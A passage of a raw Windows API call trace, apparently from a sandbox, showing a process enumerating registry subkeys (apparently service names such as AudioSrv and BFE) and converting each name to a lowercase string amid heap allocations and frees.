lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.395] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0239.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.395] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.396] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.396] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.396] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.396] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.396] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.396] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.397] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.397] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.397] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.397] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.397] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0239.397] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.398] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.398] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.398] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1da8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0239.398] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.398] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.399] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.399] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.399] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.399] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.399] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.399] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.399] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.399] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.399] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.399] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.399] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.399] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.399] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0239.399] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.400] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.400] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.400] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.400] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.400] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.400] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0239.401] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.401] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 